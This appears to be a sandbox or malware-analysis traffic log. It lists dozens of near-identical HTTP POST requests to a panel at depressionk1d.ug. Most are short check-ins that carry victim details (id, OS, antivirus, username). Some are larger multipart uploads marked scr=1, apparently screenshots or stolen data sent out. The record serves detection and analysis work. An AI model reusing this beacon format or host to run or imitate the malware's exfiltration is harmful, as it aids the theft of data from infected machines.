Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----aa227d1941f848e55ff8e80a839e1f4cHost: depressionk1d.ugContent-Length: 106956Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----72f5cde377fbc84156c9f93b3b5c40e7Host: depressionk1d.ugContent-Length: 106960Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
